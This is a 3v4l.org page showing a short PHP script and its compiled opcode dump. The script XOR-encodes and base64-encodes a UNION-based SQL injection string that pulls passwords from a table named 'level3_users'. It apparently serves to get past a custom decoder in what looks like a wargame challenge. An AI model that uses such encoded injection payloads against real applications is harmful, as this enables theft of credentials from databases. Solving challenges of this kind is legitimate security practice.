3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("Admin' and 1=2 union all select 1,password,3,4,5,6,7 from level3_users LIMIT 1,2-- -")); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/TMdkB
function name:  (null)
number of ops:  5
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   45     0  E >   INIT_FCALL                                               'encrypt'
          1        SEND_VAL                                                 'Admin%27+and+1%3D2+union+all+select+1%2Cpassword%2C3%2C4%2C5%2C6%2C7+from+level3_users+LIMIT+1%2C2--+-'
          2        DO_FCALL                                      0  $0      
          3        ECHO                                                     $0
   56     4      > RETURN                                                   1

Function decrypt:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 45
Branch analysis from position: 6
2 jumps found. (Code = 46) Position 1 = 12, Position 2 = 14
Branch analysis from position: 12
2 jumps found. (Code = 46) Position 1 = 15, Position 2 = 17
Branch analysis from position: 15
2 jumps found. (Code = 43) Position 1 = 18, Position 2 = 44
Branch analysis from position: 18
1 jumps found. (Code = 42) Position 1 = 30
Branch analysis from position: 30
2 jumps found. (Code = 44) Position 1 = 33, Position 2 = 21
Branch analysis from position: 33
2 jumps found. (Code = 77) Position 1 = 34, Position 2 = 42
Branch analysis from position: 34
2 jumps found. (Code = 78) Position 1 = 35, Position 2 = 42
Branch analysis from position: 35
1 jumps found. (Code = 42) Position 1 = 34
Branch analysis from position: 34
Branch analysis from position: 42
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 42
Branch analysis from position: 21
2 jumps found. (Code = 44) Position 1 = 33, Position 2 = 21
Branch analysis from position: 33
Branch analysis from position: 21
Branch analysis from position: 44
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 17
Branch analysis from position: 14
Branch analysis from position: 45
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/TMdkB
function name:  decrypt
number of ops:  47
compiled vars:  !0 = $str, !1 = $decStr, !2 = $i, !3 = $array, !4 = $s, !5 = $a
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   RECV                                             !0      
    4     1        INIT_FCALL                                               'preg_match'
          2        SEND_VAL                                                 '%25%5E%5Ba-zA-Z0-9%2F%2B%5D%2A%3D%7B0%2C2%7D%24%25'
          3        SEND_VAR                                                 !0
          4        DO_ICALL                                         $6      
          5      > JMPZ                                                     $6, ->45
    6     6    >   INIT_FCALL                                               'base64_decode'
          7        SEND_VAR                                                 !0
          8        DO_ICALL                                         $7      
          9        ASSIGN                                                   !0, $7
    7    10        IS_NOT_EQUAL                                     ~9      !0, ''
         11      > JMPZ_EX                                          ~9      ~9, ->14
         12    >   IS_NOT_EQUAL                                     ~10     !0, null
         13        BOOL                                             ~9      ~10
         14    > > JMPZ_EX                                          ~9      ~9, ->17
         15    >   BOOL                                             ~11     !0
         16        BOOL                                             ~9      ~11
         17    > > JMPZ                                                     ~9, ->44
    9    18    >   ASSIGN                                                   !1, ''
   11    19        ASSIGN                                                   !2, 0
         20      > JMP                                                      ->30
   13    21    >   DIV                                              ~14     !2, 3
         22        INIT_FCALL                                               'substr'
         23        SEND_VAR                                                 !0
         24        SEND_VAR                                                 !2
         25        SEND_VAL                                                 3
         26        DO_ICALL                                         $16     
         27        ASSIGN_DIM                                               !3, ~14
         28        OP_DATA                                                  $16
   11    29        ASSIGN_OP                                     1          !2, 3
         30    >   STRLEN                                           ~18     !0
         31        IS_SMALLER                                               !2, ~18
         32      > JMPNZ                                                    ~19, ->21
   16    33    > > FE_RESET_R                                       $20     !3, ->42
         34    > > FE_FETCH_R                                               $20, !4, ->42
   18    35    >   BW_XOR                                           ~21     !4, 192
         36        ASSIGN                                                   !5, ~21
   19    37        INIT_FCALL                                               'chr'
         38        SEND_VAR                                                 !5
         39        DO_ICALL                                         $23     
         40        ASSIGN_OP                                     8          !1, $23
   16    41      > JMP                                                      ->34
         42    >   FE_FREE                                                  $20
   22    43      > RETURN                                                   !1
   24    44    > > RETURN                                                   <false>
   26    45    > > RETURN                                                   <false>
   27    46*     > RETURN                                                   null

End of function decrypt

Function encrypt:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 23
Branch analysis from position: 23
2 jumps found. (Code = 44) Position 1 = 26, Position 2 = 4
Branch analysis from position: 26
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 4
1 jumps found. (Code = 42) Position 1 = 17
Branch analysis from position: 17
2 jumps found. (Code = 44) Position 1 = 20, Position 2 = 15
Branch analysis from position: 20
2 jumps found. (Code = 44) Position 1 = 26, Position 2 = 4
Branch analysis from position: 26
Branch analysis from position: 4
Branch analysis from position: 15
2 jumps found. (Code = 44) Position 1 = 20, Position 2 = 15
Branch analysis from position: 20
Branch analysis from position: 15
filename:       /in/TMdkB
function name:  encrypt
number of ops:  31
compiled vars:  !0 = $str, !1 = $cryptedstr, !2 = $i, !3 = $temp
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   29     0  E >   RECV                                             !0      
   31     1        ASSIGN                                                   !1, ''
   32     2        ASSIGN                                                   !2, 0
          3      > JMP                                                      ->23
   34     4    >   INIT_FCALL                                               'ord'
          5        INIT_FCALL                                               'substr'
          6        SEND_VAR                                                 !0
          7        SEND_VAR                                                 !2
          8        SEND_VAL                                                 1
          9        DO_ICALL                                         $6      
         10        SEND_VAR                                                 $6
         11        DO_ICALL                                         $7      
         12        BW_XOR                                           ~8      $7, 192
         13        ASSIGN                                                   !3, ~8
   36    14      > JMP                                                      ->17
   38    15    >   CONCAT                                           ~10     '0', !3
         16        ASSIGN                                                   !3, ~10
   36    17    >   STRLEN                                           ~12     !3
         18        IS_SMALLER                                               ~12, 3
         19      > JMPNZ                                                    ~13, ->15
   40    20    >   CONCAT                                           ~14     !3, ''
         21        ASSIGN_OP                                     8          !1, ~14
   32    22        PRE_INC                                                  !2
         23    >   STRLEN                                           ~17     !0
         24        IS_SMALLER                                               !2, ~17
         25      > JMPNZ                                                    ~18, ->4
   42    26    >   INIT_FCALL                                               'base64_encode'
         27        SEND_VAR                                                 !1
         28        DO_ICALL                                         $19     
         29      > RETURN                                                   $19
   43    30*     > RETURN                                                   null

End of function encrypt

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
159.21 ms | 1398 KiB | 26 Q